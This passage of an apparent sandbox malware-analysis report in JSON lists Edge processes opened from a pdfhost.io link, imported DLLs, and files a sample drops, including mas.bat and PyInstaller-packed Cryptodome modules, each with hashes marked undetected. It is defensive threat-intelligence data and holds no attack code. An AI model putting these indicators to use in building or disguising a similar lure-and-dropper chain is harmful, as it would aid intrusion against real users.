https://pdfhost.io/v/FVdt3Ea4qP_statement","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00001384","uid":"00000000-00003324"},{"pid":7680,"ppid":3324,"name":"msedge.exe","command_line":"--type=crashpad-handler \"--user-data-dir=%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler \"--database=%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Crashpad\" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=145.0.7632.76 \"--annotation=exe=%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=145.0.3800.58 --initial-client-data=0x2e8,0x2ec,0x2f0,0x2e4,0x358,0x7ff8d32b0f18,0x7ff8d32b0f24,0x7ff8d32b0f30","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00003324","uid":"00000000-00007680"},{"pid":6452,"ppid":3324,"name":"msedge.exe","command_line":"--type=gpu-process --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --startup-read-main-dll --metrics-shmem-handle=1680,i,4845419325195644661,18345222129608601991,262144 --field-trial-handle=2500,i,6697628852991788818,5245986409600589209,262144 --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=2496 /prefetch:2","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00003324","uid":"00000000-00006452"},{"pid":6672,"ppid":3324,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --startup-read-main-dll --metrics-shmem-handle=1840,i,13424533911224466705,17684936533211513473,524288 --field-trial-handle=2500,i,6697628852991788818,5245986409600589209,262144 --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2744 /prefetch:11","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00003324","uid":"00000000-00006672"},{"pid":7488,"ppid":3324,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --startup-read-main-dll --metrics-shmem-handle=1952,i,13702631277894774500,18002001483886243789,524288 --field-trial-handle=2500,i,6697628852991788818,5245986409600589209,262144 --variations-seed-version --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=4044 /prefetch:13","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00003324","uid":"00000000-00007488"},{"pid":6200,"ppid":3324,"name":"msedge.exe","command_line":"--type=renderer --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --time-ticks-at-unix-epoch=-1781000858928875 --launch-time-ticks=2885554296 --ssd-no-pressure-read-main-dll --metrics-shmem-handle=2992,i,1368384656263977163,16282845730751595355,2097152 --field-trial-handle=2500,i,6697628852991788818,5245986409600589209,262144 --variations-seed-version --trace-process-track-uuid=3190708991934122588 --mojo-platform-channel-handle=4088 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00003324","uid":"00000000-00006200"},{"pid":6704,"ppid":3324,"name":"msedge.exe","command_line":"--type=renderer --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1781000858928875 --launch-time-ticks=2885555851 --skip-read-main-dll --metrics-shmem-handle=3008,i,191457997090199154,939975758092226673,2097152 --field-trial-handle=2500,i,6697628852991788818,5245986409600589209,262144 --variations-seed-version --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=4092 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00003324","uid":"00000000-00006704"},{"pid":6268,"ppid":3324,"name":"msedge.exe","command_line":"--type=renderer --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --time-ticks-at-unix-epoch=-1781000858928875 --launch-time-ticks=2890049839 --skip-read-main-dll --metrics-shmem-handle=4972,i,15155141001902613333,15916905924025851065,2097152 --field-trial-handle=2500,i,6697628852991788818,5245986409600589209,262144 --variations-seed-version --trace-process-track-uuid=3190708992871164437 --mojo-platform-channel-handle=4944 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00003324","uid":"00000000-00006268"},{"pid":6064,"ppid":3324,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --skip-read-main-dll --metrics-shmem-handle=5300,i,4985913085085115999,2963766959020600948,524288 --field-trial-handle=2500,i,6697628852991788818,5245986409600589209,262144 --variations-seed-version --trace-process-track-uuid=3190708994745248135 --mojo-platform-channel-handle=5384 /prefetch:14","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00003324","uid":"00000000-00006064"},{"pid":6592,"ppid":3324,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --skip-read-main-dll --metrics-shmem-handle=5220,i,10796211472941435412,12756689501994888814,524288 --field-trial-handle=2500,i,6697628852991788818,5245986409600589209,262144 --variations-seed-version --trace-process-track-uuid=3190708993808206286 --mojo-platform-channel-handle=5296 /prefetch:14","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00003324","uid":"00000000-00006592"},{"pid":5576,"ppid":3324,"name":"msedge.exe","command_line":"--type=renderer --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --time-ticks-at-unix-epoch=-1781000858928875 --launch-time-ticks=2892896104 --skip-read-main-dll --metrics-shmem-handle=5368,i,16515337606997989644,12996723662558101334,2097152 --field-trial-handle=2500,i,6697628852991788818,5245986409600589209,262144 --variations-seed-version --trace-process-track-uuid=3190708996619331833 --mojo-platform-channel-handle=5408 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00003324","uid":"00000000-00005576"},{"pid":7048,"ppid":3324,"name":"msedge.exe","command_line":"--type=renderer --pdf-upsell-enabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --time-ticks-at-unix-epoch=-1781000858928875 --launch-time-ticks=2892895500 --skip-read-main-dll --metrics-shmem-handle=5340,i,10799595270467280901,2144283868383381963,2097152 --field-trial-handle=2500,i,6697628852991788818,5245986409600589209,262144 --variations-seed-version --trace-process-track-uuid=3190708995682289984 --mojo-platform-channel-handle=5404 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00003324","uid":"00000000-00007048"},{"pid":5996,"ppid":3324,"name":"identity_helper.exe","command_line":"--type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --skip-read-main-dll --metrics-shmem-handle=6376,i,9378095272450598270,4859040138726520193,524288 --field-trial-handle=2500,i,6697628852991788818,5245986409600589209,262144 --variations-seed-version --trace-process-track-uuid=3190708997556373682 --mojo-platform-channel-handle=6380 /prefetch:14","sha256":"21d79cfc88bb39468d68331fb85f9e2c1bfbae2f16192acd0e773709daf534f6","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\145.0.3800.58\\identity_helper.exe","parent_uid":"00000000-00003324","uid":"00000000-00005996"},{"pid":6496,"ppid":3324,"name":"identity_helper.exe","command_line":"--type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --skip-read-main-dll --metrics-shmem-handle=6376,i,9378095272450598270,4859040138726520193,524288 --field-trial-handle=2500,i,6697628852991788818,5245986409600589209,262144 --variations-seed-version --trace-process-track-uuid=3190708997556373682 --mojo-platform-channel-handle=6380 /prefetch:14","sha256":"21d79cfc88bb39468d68331fb85f9e2c1bfbae2f16192acd0e773709daf534f6","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\145.0.3800.58\\identity_helper.exe","parent_uid":"00000000-00003324","uid":"00000000-00006496"},{"pid":7208,"ppid":3324,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --skip-read-main-dll --metrics-shmem-handle=4992,i,489149130012302685,5881289210559181799,524288 --field-trial-handle=2500,i,6697628852991788818,5245986409600589209,262144 --variations-seed-version --trace-process-track-uuid=3190708998493415531 --mojo-platform-channel-handle=6788 /prefetch:14","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00003324","uid":"00000000-00007208"},{"pid":5392,"ppid":3324,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --skip-read-main-dll --metrics-shmem-handle=736,i,11658067187595100799,10650836743105989887,524288 --field-trial-handle=2500,i,6697628852991788818,5245986409600589209,262144 --variations-seed-version --trace-process-track-uuid=3190708999430457380 --mojo-platform-channel-handle=6392 /prefetch:14","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00003324","uid":"00000000-00005392"},{"pid":8068,"ppid":3324,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --ssd-no-pressure-read-main-dll --metrics-shmem-handle=5004,i,2501564017403355601,9811878304887447150,524288 --field-trial-handle=2500,i,6697628852991788818,5245986409600589209,262144 --variations-seed-version --trace-process-track-uuid=3190709001304541078 --mojo-platform-channel-handle=3852 /prefetch:14","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00003324","uid":"00000000-00008068"}],"all_imported_dlls":["combase.dll","version.dll","dwmapi.dll","CoreMessaging.dll","WinTypes.dll","clbcatq.dll","KernelBase.dll","msvcrt.dll","fltLib.dll","ucrtbase.dll","ole32.dll","msasn1.dll","Wldap32.dll","secur32.dll","kernel32.dll","win32u.dll","gdi32.dll","bcryptprimitives.dll","oleaut32.dll","shlwapi.dll","imm32.dll","SHCore.dll","VxSSL64.dll","ws2_32.dll","crypt32.dll","bcrypt.dll","IPHLPAPI.DLL","rpcrt4.dll","ntvdm64.dll","TextInputFramework.dll","normaliz.dll","sspicli.dll","msvcp_win.dll","mswsock.dll","gdi32full.dll","cmdext.dll","uxtheme.dll","CoreUIComponents.dll","ntmarta.dll","ntdll.dll","sechost.dll","cryptsp.dll","msctf.dll","kernel.appcore.dll","user32.dll","advapi32.dll","wbemprox.dll","Windows.System.Launcher.dll","dhcpcsvc.dll","twinapi.appcore.dll","mscms.dll","Windows.System.Profile.RetailInfo.dll","vcruntime140_1_app.dll","VCRUNTIME140_1.dll","AppXDeploymentClient.dll","wintrust.dll","ncrypt.dll","wevtapi.dll","libEGL.dll","pywintypes312.dll","mf.dll","mfreadwrite.dll","omadmapi.dll","fwbase.dll","OneCoreUAPCommonProxyStub.dll","msedge_elf.dll","vk_swiftshader.dll","wbemcomn.dll","wbemsvc.dll","dxgi.dll","windows.storage.dll","dnsapi.dll","InputHost.dll","aadWamExtension.dll","winmm.dll","AssignedAccessRuntime.dll","AppResolver.dll","d3dcompiler_47.dll","Windows.StateRepository.dll","vcruntime140_app.dll","ncryptprov.dll","Windows.System.UserProfile.DiagnosticsSettings.dll","biwinrt.dll","wtsapi32.dll","srvcli.dll","OWqxsUD4.dll","samcli.dll","onnxruntime.dll","execmodelproxy.dll","Windows.Internal.Shell.Broker.dll","umpdc.dll","nsi.dll","rasadhlp.dll","msedge.dll","npmproxy.dll","PCPKsp.dll","dbghelp.dll","comctl32.dll","wbemdisp.dll","wkscli.dll","Windows.StateRepositoryPS.dll","xmllite.dll","VCRUNTIME140.dll","gpapi.dll","wldp.dll","Windows.Web.dll","sapi.dll","CryptoWinRT.dll","msvcp140_app.dll","Windows.Storage.ApplicationData.dll","CompPkgSup.dll","setupapi.dll","devobj.dll","libGLESv2.dll","pdh.dll","powrprof.dll","amsi.dll","cryptbase.dll","StartMenu.dll","pythoncom312.dll","netutils.dll","dsreg.dll","oleacc.dll","TenantRestrictionsPlugin.dll","dusmapi.dll","ntasn1.dll","TileDataRepository.dll","wmiutils.dll","profapi.dll","KBDUS.DLL","StartTileData.dll","urlmon.dll","iertutil.dll","userenv.dll","comdlg32.dll","msdmo.dll","webauthn.dll","domain_actions.dll","sqlite3.dll","RTWorkQ.dll","Windows.StateRepositoryCore.dll","MMDevAPI.dll","mfplat.dll","CorePrivacySettingsStore.dll","OneCoreCommonProxyStub.dll","Windows.Networking.Connectivity.dll","slc.dll","FWPUCLNT.DLL","apphelp.dll","python312.dll","d3d11.dll","cfgmgr32.dll","logoncli.dll","MpOAV.dll","tk86t.dll","dhcpcsvc6.dll","Windows.UI.Immersive.dll","mfcore.dll","DXCore.dll","msvcp110_win.dll","Windows.Security.Authentication.Web.Core.dll","MicrosoftAccountWAMExtension.dll","netprofm.dll","wpnapps.dll","Windows.StateRepositoryClient.dll","zlib1.dll","ieframe.dll","mdmregistration.dll","DWrite.dll","twinapi.dll","directmanipulation.dll","vaultcli.dll","dcomp.dll","mlang.dll","Windows.ApplicationModel.dll","DataExchange.dll","ffmpeg.dll","FirewallAPI.dll","libscipy_openblas64_-13e2df515630b4a41f92893938845698.dll","DiagnosticDataSettings.dll","linkinfo.dll","microsoft_shell_integration.dll","wlanapi.dll","UserMgrProxy.dll","usermgrcli.dll","psapi.dll","winhttp.dll","policymanager.dll","vcruntime140.dll","windowsudk.shellcommon.dll","wscapi.dll","python3.dll","fastprox.dll","wininet.dll","Windows.UI.dll","tbs.dll","StateRepository.Core.dll","shell32.dll","libssl-3.dll","tcl86t.dll","netapi32.dll","edputil.dll","devenum.dll","msvcp140-263139962577ecda4cd9469ca360a746.dll","Windows.Shell.ServiceHostBuilder.dll","directxdatabasehelper.dll","Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll","oneauth.dll","propsys.dll","sxs.dll","dpapi.dll","rsaenh.dll","capauthz.dll","ExecModelClient.dll","d3d10warp.dll","well_known_domains.dll","mobilenetworking.dll","libffi-8.dll","libcrypto-3.dll","wsock32.dll","ResourcePolicyClient.dll","Windows.Media.dll","nlansp_c.dll","winsta.dll","atlthunk.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"mas.bat","sha256":"962ab912c559354376878f31b868fdc5e21b14a815e529683fb3e3ef2cbfb32c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"_raw_aes.pyd","sha256":"889f9b558a47a4333bfd3e3814eaec2328ac8648722d912c7873fdea62fcf886","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"_raw_cast.pyd","sha256":"90442d012d3f918cb0f78035680db6a373148b1de7e84545e5f3596c655cd6ab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"_raw_des.pyd","sha256":"8bd8469ecbf707b90d88fcc32213f1f6877dac36dcf767a0f4c1ce8ba81b5756","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"_raw_des3.pyd","sha256":"809390256aae55a1265489283482f2fee34957e4f2b4377d7449602740724ecb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"mfc140u.dll","sha256":"6eb497ba5ec743039f2187f382dd95dd091d2fe5f53e30758c879e708a720d2f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"_Salsa20.pyd","sha256":"59ee075ecb9877bc24f5c27fa2d590bae0f6aa30a6e02432e1eb25cb459abc0e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"_chacha20.pyd","sha256":"5736506ad6dc2f3d893b978c8727d74c2f0ae87bbc2fcfcfe8c7e982ea5e86e2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"_raw_aesni.pyd","sha256":"6c9a2bed5c1bd9acd8bcea7f5f20f7fa63e4465b0914ae70250bd59a8028333c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"5gjv5egd","sha256":"f02285fb90ed8c81531fe78cf4e2abb68a62be73ee7d317623e2c3e3aefdfff2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"SK_59376371006.zip","sha256":"59c8e11627f5a1c55e078a553c06924e9056b8b6e9534969cb972b1f3f704a64","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"_ARC4.pyd","sha256":"e37da2a2140eb18fb84065d4138ad1072539c82464475a94f5a87a049e601f7e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"_pkcs1_decode.pyd","sha256":"ed12c3d512e5e0b4245fdc5a83fd46497bb2df31e49199b6265ace5142fe5021","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"_raw_arc2.pyd","sha256":"eda56aa3afb9d6adfd95ba950ad1247b5e2c6aedaa2db86af0c8fa79217359a4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"_raw_blowfish.pyd","sha256":"eea7e0597216ece6d23b351743fdc08d32a5bcde57b1efa724a3b6138b692ad9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"_raw_cbc.pyd","sha256":"6c6c5fac1b5933fb857fcc3e5a87765257b5484285de147e9bb5fc854223a707","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"_raw_cfb.pyd","sha256":"26e351c4fade35c146d84df0e22c2468e01186d3a8a1e51bb6c8d8ea87f09cd7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"_raw_ctr.pyd","sha256":"229994e4cb838079a5711c8c0ffeb25fb4684a70ecda497ddb49c8a315594a83","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"_raw_ecb.pyd","sha256":"da4eacde396e7388ec5da5133762409757dcdaae3022590a73d9ad950844c31f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"_raw_eksblowfish.pyd","sha256":"40e1a78102a078058cb06b4ff41411f89203564915bc0bce04f4c2643deb9b24","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"_raw_ocb.pyd","sha256":"61f8a3ca451db3a07b3815c4d91a37100c416f160e3ccfa6113bef0c80d0c12b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"_raw_ofb.pyd","sha256":"b77a2a9322c28d1dd79dd9176bd6d697f2ee3dd10cb2ce24cdfd9d42b533feff","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\mas.bat","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Cipher\\_ARC4.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Cipher\\_Salsa20.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Cipher\\_chacha20.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Cipher\\_pkcs1_decode.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Cipher\\_raw_aes.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Cipher\\_raw_aesni.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Cipher\\_raw_arc2.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Cipher\\_raw_blowfish.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Cipher\\_raw_cast.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Cipher\\_raw_cbc.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Cipher\\_raw_cfb.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Cipher\\_raw_ctr.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Cipher\\_raw_des.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Cipher\\_raw_des3.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Cipher\\_raw_ecb.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Cipher\\_raw_eksblowfish.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Cipher\\_raw_ocb.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Cipher\\_raw_ofb.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Hash\\_BLAKE2b.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Hash\\_BLAKE2s.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Hash\\_MD2.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Hash\\_MD4.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Hash\\_MD5.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Hash\\_RIPEMD160.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Hash\\_SHA1.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Hash\\_SHA224.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Hash\\_SHA256.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Hash\\_SHA384.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Hash\\_SHA512.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Hash\\_ghash_clmul.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Hash\\_ghash_portable.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Hash\\_keccak.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Hash\\_poly1305.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Math\\_modexp.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Protocol\\_scrypt.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\PublicKey\\_curve25519.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\PublicKey\\_curve448.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\PublicKey\\_ec_ws.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\PublicKey\\_ed25519.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\PublicKey\\_ed448.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Util\\_cpuid_c.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\Cryptodome\\Util\\_strxor.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\PIL\\_imaging.cp312-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\